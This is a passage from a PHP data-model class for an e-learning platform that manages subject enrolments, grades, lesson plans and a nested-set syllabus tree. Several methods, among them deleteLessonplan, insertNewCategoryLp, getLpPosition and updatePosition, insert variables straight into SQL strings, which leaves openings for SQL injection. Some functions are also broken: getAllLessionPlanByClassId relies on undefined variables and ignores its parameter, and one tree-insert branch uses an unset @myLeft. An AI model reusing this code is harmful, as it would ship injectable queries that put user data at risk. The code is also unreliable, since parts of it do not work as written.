        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return (!empty($res[0])) ? $res[0] : false;
    }

    //grade id check from t_b2c_usr_subscription
    function getSubjectGradeUserEnrollData($arr = null) {
        if (empty($arr["user_id"]) || empty($arr["subject_id"])) {
            return false;
        }
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->where(array('SUBJECT_ID' => $arr["subject_id"]));
        $resultSet = $this->table->selectWith($select);
        $resSubject = $resultSet->toarray();
        if (!empty($resSubject['0']['GRADE_ID'])) {
            $this->table = $this->initTableObject('t_b2c_usr_subscription');
            $select = $this->table->getSql()->select();
            $select->where(array('USER_OID' => $arr["user_id"]));
            $select->where(array('GRADE_ID' => $resSubject['0']['GRADE_ID']));
            $resultSet = $this->table->selectWith($select);
            $res = $resultSet->toarray();
            return (!empty($res[0])) ? $res[0] : false;
        } else {
            return false;
        }
    }

    //get user enrolment
    function getContentUserEnrollData($arr = null) {

        if (empty($arr["user_id"]) || empty($arr["content_id"])) {
            return false;
        }

        $this->table = $this->initTableObject('t_b2c_usr_subscription');
        $select = $this->table->getSql()->select();
        $select->where(array('USER_OID' => $arr["user_id"]));
        $select->where(array('CONT_ID' => $arr["content_id"]));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0])) {
            return $res[0];
        } else {
            $table = $this->initTableObject('t_b2c_cm_cont_cat');
            $select = $table->getSql()->select();
            $select->join('t_b2c_cm_mgr_curriculum_outline', 't_b2c_cm_mgr_curriculum_outline.CAT_ID = t_b2c_cm_cont_cat.CAT_ID', array('*'));
            $select->where(['CONT_ID' => $arr["content_id"]]);
            $resultSetSubject = $this->table->selectWith($select);
            $resSubject = $resultSetSubject->toarray();
            $resSubject['0']['SUBJECT_ID'] = !empty($resSubject['0']['SUBJECT_ID']) ? $resSubject['0']['SUBJECT_ID'] : '';
            if (!empty($resSubject['0']['SUBJECT_ID'])) {
                $this->table = $this->initTableObject('t_b2c_usr_subscription');
                $select = $this->table->getSql()->select();
                $select->where(array('USER_OID' => $arr["user_id"]));
                $select->where(array('SUBJECT_ID' => $resSubject['0']['SUBJECT_ID']));
                $resultSet = $this->table->selectWith($select);
                $res = $resultSet->toarray();
                if (!empty($res[0])) {
                    return $res[0];
                } else {
                    $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
                    $select = $this->table->getSql()->select();
                    $select->where(array('SUBJECT_ID' => $resSubject['0']['SUBJECT_ID']));
                    $resultSetSubjectCheck = $this->table->selectWith($select);
                    $resSubjectCheck = $resultSetSubjectCheck->toarray();

                    if (!empty($resSubjectCheck['0'])) {
                        $this->table = $this->initTableObject('t_b2c_usr_subscription');
                        $select = $this->table->getSql()->select();
                        $select->where(array('USER_OID' => $arr["user_id"]));
                        $select->where(array('GRADE_ID' => $resSubjectCheck['0']['GRADE_ID']));
                        $resultSet = $this->table->selectWith($select);
                        $res = $resultSet->toarray();
                        if (!empty($res[0])) {
                            return $res[0];
                        } else {
                            return false;
                        }
                    } else {
                        return false;
                    }
                }
            } else {
                return false;
            }
        }
    }

    // get Assignment id by content Id
    function getAssignmentByContentId($contId) {

        $this->table = $this->initTableObject('t_b2c_asnmnt_master');
        $select = $this->table->getSql()->select();
        $select->columns(array('ASSIGNMENT_ID'));
        $select->where(array('CONT_ID' => $contId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return (!empty($res[0]['ASSIGNMENT_ID'])) ? $res[0]['ASSIGNMENT_ID'] : 0;
    }

    //get content type Id by EC ID
    function getEnrichContentTypeId($ecId) {
        $this->table = $this->initTableObject('t_adm_cnf_enrichcontent');
        $select = $this->table->getSql()->select();
        $select->where(array('ENRICHCONT_ID' => $ecId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return (!empty($res[0]['CONTTYPE_ID'])) ? $res[0]['CONTTYPE_ID'] : '';
    }

    //check enrich content in content table
    function checkEnrichContent($ecId, $lpId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->where(array('EXTERNAL_ID' => $ecId));
        $select->where(array('LESSONPLAN_ID' => $lpId));
        $select->where(array('CONTTYPE_ID' => 12));
        $resultSet = $this->table->selectWith($select);
        return $resultSet->toarray();
    }

    //return array for result object of prepare statement
    function returnPrepareResult($result) {
        $rows = array();
        if ($result->count()) {
            $rows = new ResultSet();
            return $rows->initialize($result)->toArray();
        }
    }

    //get subjects by grade Id
    public function getSubjects($gradeId = null) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        if (!empty($gradeId))
            $select->where(array('GRADE_ID' => $gradeId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return $res;
    }

    //get subjects by grade Id
    public function getSubjectsforCloud($gradeId = null) {
        $subdata = array();
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_NAME'));
        if (!empty($gradeId))
            $select->where(array('GRADE_ID' => $gradeId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (count($res) > 0) {
            foreach ($res as $subejct) {
                $subdata[] = $subejct['SUBJECT_NAME'];
            }
            $res = $subdata;
        } else {
            $res = array();
        }
        return $res;
    }

    //add subject
    function addSubject($postData) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $dataIns = $this->table->insert($postData);
        return $dataIns;
    }

    //get subject detail by subject ID
    function getSubjectDetailById($id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->where(array('SUBJECT_ID' => $id));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0]))
            return $res[0];
    }

    //get subject detail by subject ID
    function getSubjectFullDetailById($id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_NAME'));
        $select->join('t_b2c_cm_cnf_standard', 't_b2c_cm_cnf_standard.STANDARD_ID = t_b2c_cm_mgr_grade.STANDARD_ID', array('STANDARD_NAME', 'STANDARD_ID'));
        $select->join('t_adm_cnf_country', 't_b2c_cm_cnf_standard.COUNTRY_ID = t_adm_cnf_country.COUNTRY_ID', array('COUNTRY_ID', 'SHORT_NAME', 'LONG_NAME', 'AR_NAME'));
        $select->where(array('SUBJECT_ID' => $id));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0])) {
            return $res[0];
        }
        return false;
    }

    function getGradeFullDetailById($id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_cnf_standard', 't_b2c_cm_cnf_standard.STANDARD_ID = t_b2c_cm_mgr_grade.STANDARD_ID', array('STANDARD_NAME'));
        $select->join('t_adm_cnf_country', 't_b2c_cm_cnf_standard.COUNTRY_ID = t_adm_cnf_country.COUNTRY_ID', array('COUNTRY_ID', 'SHORT_NAME', 'LONG_NAME', 'AR_NAME'));

        $select->where(array('t_b2c_cm_mgr_grade.GRADE_ID' => $id));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        if (!empty($res[0])) {
            return $res[0];
        }
        return false;
    }

    function getContentDetailBycId($id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.LESSONPLAN_ID = t_b2c_cm_cnf_content.LESSONPLAN_ID', array('LP_NAME', 'SUBJECT_ID'), 'LEFT');
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_cm_lessonplan_master.SUBJECT_ID', array('SUBJECT_NAME', 'GRADE_ID'), 'LEFT');
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_NAME'), 'LEFT');
        $select->join('t_b2c_cm_cnf_standard', 't_b2c_cm_cnf_standard.STANDARD_ID = t_b2c_cm_mgr_grade.STANDARD_ID', array('STANDARD_NAME'), 'LEFT');
        $select->where(array('t_b2c_cm_cnf_content.CONT_ID' => $id, 'IS_PUBLISH' => 'Y'));
        $resultSet = $this->table->selectWith($select);


        $res = $resultSet->toarray();
        if (!empty($res[0])) {
            return $res[0];
        }

        return false;
    }

    //edit subject name
    function editSubject($postData) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        $updateData['SUBJECT_NAME'] = $postData['SUBJECT_NAME'];
        $updateData['TEACHER_ID'] = $postData['TEACHER_ID'];
        $this->table->update($updateData, array(
            'SUBJECT_ID' => $postData['SUBJECT_ID'],
        ));
        return 1;
    }

    //delete subject 
    function deleteLiveClassData($ID) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_liveclass');
        return $this->table->delete(array('CONT_ID' => $ID));
    }

    //delete subject 
    function deleteSubject($ID) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_subject');
        return $this->table->delete(array('SUBJECT_ID' => $ID));
    }

    //add grade
    function addSyllabus($postData) {
        $array = array();
        foreach ($postData as $key => $val) {
            $array[$key] = trim($val);
        }
        $array['CREATED_ON'] = date('Y-m-d H:i:s');
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        return $dataIns = $this->table->insert($array);
    }

    //get grades/courses
    public function getGrades($batchId = null) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        if (!empty($batchId))
            $select->where(array('BATCH_ID' => $batchId));
        $resultSet = $this->table->selectWith($select);
        $res = $resultSet->toarray();
        return $res;
    }

    //get grade details
    function getGradeDetails($gradeId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->where(array('GRADE_ID' => $gradeId));
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->current();
        return $ret;
    }

    //get grade details
    function getGradeDataByOrgId($orgId = null) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();
        return $ret;
    }

    function getTimeZoneList() {
        $this->table = $this->initTableObject('t_adm_cnf_timezone');
        $select = $this->table->getSql()->select();
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();
        if (count($ret)) {
            foreach ($ret as $timezone) {
                $timeZoneList[$timezone['TIMEZONE_ID']] = $timezone['TIMEZONE_VALUE'];
            }
            return $timeZoneList;
        }


        return $ret;
    }

    function getLanguageList() {
        $this->table = $this->initTableObject('t_adm_cnf_language');
        $select = $this->table->getSql()->select();
        $resultSet = $this->table->selectWith($select);
        $ret = $resultSet->toArray();
        if (count($ret)) {
            foreach ($ret as $language) {
                $languageList[$language['LANG_ID']] = $language['LANG_DISPLAY_NAME'];
            }
            return $languageList;
        }


        return $ret;
    }

    //update grade 
    function updateGrade($postData, $gradeId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $array = array();
        foreach ($postData as $key => $val) {
            $array[$key] = trim($val);
        }
        return $this->table->update($array, array(
                    'GRADE_ID' => $gradeId,
        ));
    }

    //delete grade by ID
    function deleteGrade($ID) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        return $this->table->delete(array('GRADE_ID' => $ID));
    }

    //delete lession plan
    function deleteLessonplan($lession_plan_id) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');

        //delete associated lession Plan Topic  
        $table = $this->initTableObject('t_b2c_cm_lessonplan_topic');
        $table->delete(array('LESSONPLAN_ID' => $lession_plan_id));

        //get All content Id for deleting the record from t_b2c_cm_cont_cat table
        $query = "SELECT  CONT_ID FROM `t_b2c_cm_cnf_content` WHERE `LESSONPLAN_ID` = $lession_plan_id ";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array());
        $data = $this->returnPrepareResult($result);

        if (!empty($data) && count($data) > 0) {
            foreach ($data as $key => $val) {
                $content_id = $val['CONT_ID'];
                // $this->deleteContent($content_id);
                $cnf_content = $this->initTableObject('t_b2c_cm_cnf_content');
                $table = $this->initTableObject('t_b2c_cm_cont_cat');
                $table->delete(array('CONT_ID' => $content_id));
                $cnf_content->delete(array('CONT_ID' => $content_id));
            }
        }

//        $content_id=$data['0']['CONT_ID'];
//       
//        //delete content topic 
//         $table = $this->initTableObject('t_b2c_cm_cont_cat');
//         $table->delete(array('CONT_ID' =>array($content_id)));
//        
//        
//        //delete content which is related to this lession Plan
//         $contentTable = $this->initTableObject('t_b2c_cm_cnf_content');
//         $contentTable->delete(array('LESSONPLAN_ID' => $lession_plan_id));

        return $this->table->delete(array('LESSONPLAN_ID' => $lession_plan_id));
    }

    //delete lession plan content
    function deleteLessonplanContent($lession_plan_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        return $this->table->delete(array('LESSONPLAN_ID' => $lession_plan_id));
    }

    //delete   content 
    function deleteContent($content_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $table = $this->initTableObject('t_b2c_cm_cont_cat');
        $table->delete(array('CONT_ID' => $content_id));
        $this->table->delete(array('CONT_ID' => $content_id));
        $this->deleteContentImage($content_id);
        return 1;
    }

    function deleteContentImage($content_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content_image');
        $this->table->delete(array('CONT_ID' => $content_id));
        return 1;
    }

    //delete   content quiz qus
    function deleteQuizQus($quizId) {
        $this->table = $this->initTableObject('t_b2c_mgr_test_question');
        return $this->table->delete(array('QUZ_ID' => $quizId));
    }

    //delete   content  quiz
    function deleteQuiz($content_id) {
        $this->table = $this->initTableObject('t_b2c_master_test');
        return $this->table->delete(array('CONT_ID' => $content_id));
    }

    //delete lession plan Prerequisite
    function deleteLessonplanPrerequisite($lession_plan_id) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_prerequisite');
        return $this->table->delete(array('LESSONPLAN_ID' => $lession_plan_id));
    }

    //delete lession plan  requirement
    function deleteLessonplanRequirement($lession_plan_id) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_requirement');
        return $this->table->delete(array('LESSONPLAN_ID' => $lession_plan_id));
    }

    //delete lession plan topic
    function deleteLessonplanTopic($lession_plan_id) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_topic');
        return $this->table->delete(array('LESSONPLAN_ID' => $lession_plan_id));
    }

    //get syllabus tree without any depth
    function getCategoryTreeWithOutDepthLp($gradeBatchId) {
        $query = "SELECT node.CAT_ID,node.CAT_NAME,node.STATUS_FLAG,(COUNT(parent.CAT_NAME) - 1) AS DEPTH, node.GRADE_BATCH_ID
		FROM t_b2c_cm_cnf_syllabus  AS node,t_b2c_cm_cnf_syllabus AS parent
		WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
        AND node.GRADE_BATCH_ID = parent.GRADE_BATCH_ID
		GROUP BY node.CAT_ID
        HAVING node.GRADE_BATCH_ID=?
		ORDER BY node.LFT";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($gradeBatchId));
        return $this->returnPrepareResult($result);
    }

    //insert new category
    function insertNewCategoryLp($postData) {
        $grade_batch_id = $postData['grade_batch_id'];
        $treeposition = $postData['position'];
        $category = $postData['CAT_NAME'];

        if ($treeposition == "begin") {
            $parentCat = $postData['parentCat'] != "" ? $postData['parentCat'] : 0;
            $queryArr = [
                "LOCK TABLE t_b2c_cm_cnf_syllabus WRITE",
                "SET @myLeft := 0",
                "SET @GRADE_BATCH_ID := $grade_batch_id",
                "SELECT @myLeft := LFT FROM t_b2c_cm_cnf_syllabus WHERE CAT_ID = " . $parentCat,
                "UPDATE t_b2c_cm_cnf_syllabus SET RGT = RGT + 2 WHERE RGT > @myLeft AND GRADE_BATCH_ID=@GRADE_BATCH_ID",
                "UPDATE t_b2c_cm_cnf_syllabus SET LFT = LFT + 2 WHERE LFT > @myLeft AND GRADE_BATCH_ID=@GRADE_BATCH_ID",
                "INSERT INTO t_b2c_cm_cnf_syllabus(`CAT_NAME`,`LFT`,`RGT`,`GRADE_BATCH_ID`) VALUES(?,@myLeft + 1, @myLeft + 2,@GRADE_BATCH_ID)",
                "UNLOCK TABLES"
            ];
        }
        if ($treeposition == "after") {
            $afterWhich = $postData['afterWhich'];
            $queryArr = [
                "LOCK TABLE t_b2c_cm_cnf_syllabus WRITE",
                "SET @GRADE_BATCH_ID := $grade_batch_id",
                "SELECT @myRight := RGT FROM t_b2c_cm_cnf_syllabus WHERE CAT_ID = " . $afterWhich . "",
                "UPDATE t_b2c_cm_cnf_syllabus SET RGT = RGT + 2 WHERE RGT > @myRight AND GRADE_BATCH_ID=@GRADE_BATCH_ID",
                "UPDATE t_b2c_cm_cnf_syllabus SET LFT = LFT + 2 WHERE LFT > @myRight AND GRADE_BATCH_ID=@GRADE_BATCH_ID",
                "UPDATE t_b2c_cm_cnf_syllabus SET LFT = LFT + 2 WHERE LFT > @myLeft AND GRADE_BATCH_ID=@GRADE_BATCH_ID",
                "INSERT INTO t_b2c_cm_cnf_syllabus(`CAT_NAME`,`LFT`,`RGT`,`GRADE_BATCH_ID`) VALUES(?,@myRight + 1, @myRight + 2,@GRADE_BATCH_ID)",
                "UNLOCK TABLES"
            ];
        }

        for ($i = 0; $i < count($queryArr); $i++) {
            $statement = $this->adapter->createStatement($queryArr[$i]);
            $statement->prepare();
            $resultSet = $statement->execute(array($category));
        }
        $this->adapter->getDriver()->getConnection()->disconnect();

        return $resultSet;
    }

    //update syllabus
    function updateCategoryLp($postData) {
        $catId = $postData['parentCat'];
        $category = $postData['CAT_NAME'];
        $this->table = $this->initTableObject('t_b2c_cm_cnf_syllabus');
        $updateData['CAT_NAME'] = $category;
        $this->table->update($updateData, array(
            'CAT_ID' => $catId
        ));
        return 1;
    }

    //delete entire category/syllabus
    function DeleteEntireTreeByCategoryIdLp($gradeBatchId, $catId) {
        $queryArr = [
            "LOCK TABLE t_b2c_cm_cnf_syllabus WRITE",
            "SELECT @myLeft := LFT, @myRight := RGT, @myWidth := RGT - LFT + 1,@gradeBatchId :=GRADE_BATCH_ID FROM t_b2c_cm_cnf_syllabus WHERE CAT_ID = ?",
            "DELETE FROM t_b2c_cm_cnf_syllabus WHERE LFT BETWEEN @myLeft AND @myRight AND GRADE_BATCH_ID= @gradeBatchId",
            "UPDATE t_b2c_cm_cnf_syllabus SET RGT = RGT - @myWidth WHERE RGT > @myRight AND GRADE_BATCH_ID= @gradeBatchId",
            "UPDATE t_b2c_cm_cnf_syllabus SET LFT = LFT - @myWidth WHERE LFT > @myRight AND GRADE_BATCH_ID= @gradeBatchId",
            "UNLOCK TABLES"
        ];

        for ($i = 0; $i < count($queryArr); $i++) {
            $statement = $this->adapter->createStatement($queryArr[$i]);
            $statement->prepare();
            $resultSet = $statement->execute(array($catId));
        }
        $this->adapter->getDriver()->getConnection()->disconnect();
        return true;
    }

    //delete by category/syllabus ID	
    function DeleteSelectedCategoryOnlyByIdLp($grade_batch_id, $catId) {
        $queryArr = [
            "LOCK TABLE t_b2c_cm_cnf_syllabus WRITE",
            "SELECT @myLeft := LFT, @myRight := RGT, @myWidth := RGT - LFT + 1,@gradeBatchId :=GRADE_BATCH_ID FROM t_b2c_cm_cnf_syllabus WHERE CAT_ID= ?",
            "DELETE FROM t_b2c_cm_cnf_syllabus WHERE LFT = @myLeft AND GRADE_BATCH_ID= @gradeBatchId	",
            "UPDATE t_b2c_cm_cnf_syllabus SET RGT = RGT - 1, LFT = LFT - 1 WHERE LFT BETWEEN @myLeft AND @myRight AND GRADE_BATCH_ID= @gradeBatchId",
            "UPDATE t_b2c_cm_cnf_syllabus SET RGT = RGT - 2 WHERE RGT > @myRight AND GRADE_BATCH_ID= @gradeBatchId",
            "UPDATE t_b2c_cm_cnf_syllabus SET LFT = LFT - 2 WHERE LFT > @myRight AND GRADE_BATCH_ID= @gradeBatchId",
            "UNLOCK TABLES"
        ];
        for ($i = 0; $i < count($queryArr); $i++) {
            $statement = $this->adapter->createStatement($queryArr[$i]);
            $statement->prepare();
            $resultSet = $statement->execute(array($catId));
        }
        $this->adapter->getDriver()->getConnection()->disconnect();
        return true;
    }

    function getLessonPlanById($lpId) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();
        $select->where(array('LESSONPLAN_ID' => $lpId));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->current();

//        $prerequisite = $this->getPrerequisite($data['LESSONPLAN_ID']);
//        if (count($prerequisite)) {
//            $data['PREREQUISITE'] = $prerequisite;
//        }
        return $data; //
    }

//get ALL Root level Category
    function getAllRootLevelCategoryLp($grade_batch_id) {
        $query = "SELECT node.CAT_ID,node.CAT_NAME,(COUNT(parent.CAT_NAME)-1) AS DEPTH
		FROM t_b2c_cm_cnf_syllabus AS node,
        t_b2c_cm_cnf_syllabus AS parent
		WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
		AND parent.GRADE_BATCH_ID = ? AND node.GRADE_BATCH_ID = ?
		GROUP BY node.CAT_ID
		HAVING depth=0 
		ORDER BY node.LFT";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($grade_batch_id, $grade_batch_id));
        return $this->returnPrepareResult($result);
    }

    //get all child catgs by parent cat ID
    function getAllChildCatByParentLp($grade_batch_id, $catId) {
        $query = "SELECT node.CAT_ID,node.CAT_NAME,(COUNT(parent.CAT_ID)-(sub_tree.depth+1)) AS DEPTH
		FROM t_b2c_cm_cnf_syllabus AS node,
        t_b2c_cm_cnf_syllabus AS parent,		
        t_b2c_cm_cnf_syllabus AS sub_parent,
        (
            SELECT node.CAT_ID,(COUNT(parent.CAT_ID)-1) AS depth
            FROM t_b2c_cm_cnf_syllabus AS node,
            t_b2c_cm_cnf_syllabus AS parent
            WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
            AND node.CAT_ID=?
			AND parent.GRADE_BATCH_ID=?
            GROUP BY node.CAT_ID
            ORDER BY node.LFT
        )AS sub_tree
		WHERE node.LFT BETWEEN parent.LFT AND parent.RGT
		AND node.LFT BETWEEN sub_parent.LFT AND sub_parent.RGT
		AND sub_parent.CAT_ID=sub_tree.CAT_ID
		
		AND parent.GRADE_BATCH_ID = ? AND sub_parent.GRADE_BATCH_ID = ? and node.GRADE_BATCH_ID = ?
		
		GROUP BY node.CAT_ID
		HAVING DEPTH=1
		ORDER BY node.LFT";
        $statement = $this->adapter->createStatement($query);
        $statement->prepare();
        $result = $statement->execute(array($catId, $grade_batch_id, $grade_batch_id, $grade_batch_id, $grade_batch_id));
        return $this->returnPrepareResult($result);
    }

    //get all child catgs by parent cat ID
    function getAllLessionPlanByClassId($class_id) {

        if (empty($lessonplan_id)) {
            $query = "SELECT LESSONPLAN_ID,LP_NAME FROM t_b2c_cm_lessonplan_master WHERE CAT_ID = ? AND CGB_ID = ? ORDER BY LP_POSITION ASC";
            $statement = $this->adapter->createStatement($query);
            $statement->prepare();
            $result = $statement->execute(array($catId, $cgb_id));
        } else {
            $query = "SELECT LESSONPLAN_ID,LP_NAME FROM t_b2c_cm_lessonplan_master WHERE CAT_ID = ? AND LESSONPLAN_ID!= ? AND CGB_ID = ? ORDER BY LP_POSITION ASC";
            $statement = $this->adapter->createStatement($query);
            $statement->prepare();
            $result = $statement->execute(array($catId, $lessonplan_id, $cgb_id));
        }


        return $this->returnPrepareResult($result);
    }

    function getLpPosition($class_id, $subject_id, $lppostion) {

        if ($lppostion) {
            $query = "SELECT LP_POSITION FROM t_b2c_cm_lessonplan_master 
			WHERE  LESSONPLAN_ID = $lppostion ";
            $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
            $retArr = $resultSet->toarray();
            if (!empty($retArr[0]['LP_POSITION'])) {
                $prev = $retArr[0]['LP_POSITION'];
                $postion = $prev + 1;

                // Update Lp position of other lesson plans of same cat_id
                $query = "UPDATE  t_b2c_cm_lessonplan_master  SET LP_POSITION = (LP_POSITION+1)  
				WHERE LP_POSITION > $prev ";
                $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
            }
        } else {
            $postion = 1;
            // Update Lp position of other lesson plans of same cat_id
            $query = "UPDATE  t_b2c_cm_lessonplan_master  SET LP_POSITION = (LP_POSITION+1)";
            $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        }

        return $postion;
    }

    // Update lesson plan position
    function updatePosition($subject_id, $lppostion, $lession_plan_id) {

        if ($lppostion) {
            $query = "SELECT LP_POSITION FROM t_b2c_cm_lessonplan_master 
			WHERE  LESSONPLAN_ID = $lppostion ";
            $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
            $retArr = $resultSet->toarray();
            if (!empty($retArr[0]['LP_POSITION'])) {
                $prev = $retArr[0]['LP_POSITION'];
                $postion = $prev + 1;

                // Update Lp position of other lesson plans of same cat_id
                $query = "UPDATE  t_b2c_cm_lessonplan_master  SET LP_POSITION = (LP_POSITION+1)  
				WHERE LP_POSITION >= $postion ";
                $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);

                // Update Lp position of other lesson plans of same cat_id
                $query = "UPDATE  t_b2c_cm_lessonplan_master  SET LP_POSITION = $postion
				WHERE  LESSONPLAN_ID = $lession_plan_id ";
                $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
            }
        } else {
            $postion = 1;

            // 
            $query = "UPDATE  t_b2c_cm_lessonplan_master  SET LP_POSITION = 1 
			WHERE LESSONPLAN_ID = $lession_plan_id";
            $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);

            // Update Lp position of other lesson plans of same cat_id
            $query = "UPDATE  t_b2c_cm_lessonplan_master  SET LP_POSITION = (LP_POSITION+1)  
			WHERE LESSONPLAN_ID != $lession_plan_id";
            $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        }
    }

    //add lesson pan data
    function addLessionPlan($data) {

        $userDataToSave['LP_NAME'] = $data['LP_NAME'];
        //$userDataToSave['LEARNING_OBJECTIVE'] = $data['LEARNING_OBJECTIVE'];

        if (!empty($data['lock_until']) && !empty($data['is_unlock'])) {
            $userDataToSave['UNLOCK_ON'] = date("Y-m-d", strtotime(str_replace(',', '', $data['lock_until'])));
        } else {
            $userDataToSave['UNLOCK_ON'] = null;
        }

        if (empty($data['lession_plan_id'])) {
            // $userDataToSave['GRADE_ID'] = $data['grade'];
            $userDataToSave['SUBJECT_ID'] = $data['SUBJECT_ID'];
            //$userDataToSave['SUBJECT_ID'] = $data['subject_id'];
            $lppostion = ($data['position'] == 'begin') ? 0 : $data['LP_POSITION'];
            $userDataToSave['LP_POSITION'] = $this->getLpPosition($userDataToSave['SUBJECT_ID'], $userDataToSave['SUBJECT_ID'], $lppostion);
            $userDataToSave['CREATED_ON'] = date('Y-m-d H:i:s');
            $userDataToSave['CREATED_BY'] = $data['userid'];
            $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');

            $dataIns = $this->table->insert($userDataToSave);
            $lession_plan_id = $this->table->lastInsertValue;
            $this->updatePosition($userDataToSave['SUBJECT_ID'], $lppostion, $lession_plan_id);
            $result = 'Add';
        } else {
            $lession_plan_id = $data['lession_plan_id'];
            //$userDataToSave['GRADE_ID'] = $data['grade'];
            $userDataToSave['SUBJECT_ID'] = $data['SUBJECT_ID'];
            $lppostion = ($data['position'] == 'begin') ? 0 : $data['LP_POSITION'];

            $this->updatePosition($data['SUBJECT_ID'], $lppostion, $lession_plan_id);
            $userDataToSave['LASTUPDATED_ON'] = date('Y-m-d H:i:s');
            $userDataToSave['LASTUPDATED_BY'] = $data['userid'];

            if (!empty($data['lp_requirement']))
                $userDataToSave['LP_REQUIREMENT'] = $data['lp_requirement'];

            if (empty($data['content_id'])) {
                $countReq = $this->checkLpRequirement($lession_plan_id);
                if (!$countReq) {
                    $userDataToSave['LP_REQUIREMENT'] = 'N';
                }
            }

            $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
            $this->table->update($userDataToSave, array(
                'LESSONPLAN_ID' => $data['lession_plan_id']
            ));
            $lession_plan_id = $data['lession_plan_id'];

            $this->table = $this->initTableObject('t_b2c_cm_lessonplan_prerequisite');
            $this->table->delete(array('LESSONPLAN_ID' => $lession_plan_id));

            $this->table = $this->initTableObject('t_b2c_cm_lessonplan_requirement');
            if (!(empty($userDataToSave['LP_REQUIREMENT'])) && $userDataToSave['LP_REQUIREMENT'] == 'N') {
                $this->table->delete(array('LESSONPLAN_ID' => $lession_plan_id));
            }
            if (!empty($data['delreq'])) {
                $delreq = explode(",", $data['delreq']);
                foreach ($delreq as $delval) {
                    if ($delval) {
                        $this->table->delete(array('LPREQ_ID' => $delval));
                    }
                }
            }

            if (isset($data['content_id']) && count($data['content_id']) && !(empty($userDataToSave['LP_REQUIREMENT'])) && $userDataToSave['LP_REQUIREMENT'] != 'N') {
                $this->table = $this->initTableObject('t_b2c_cm_lessonplan_requirement');
                foreach ($data['content_id'] as $key => $val) {
                    $check = $this->checkLpRequirement($lession_plan_id, $val);
                    if ($val && !$check) {
                        $userDataToSave = array();
                        $userDataToSave['LESSONPLAN_ID'] = $lession_plan_id;
                        $userDataToSave['CONT_ID'] = $val;
                        $userDataToSave['CONT_VERB'] = $data['cont_verb'][$key];
                        $userDataToSave['CONT_VAL'] = $data['score'][$key];
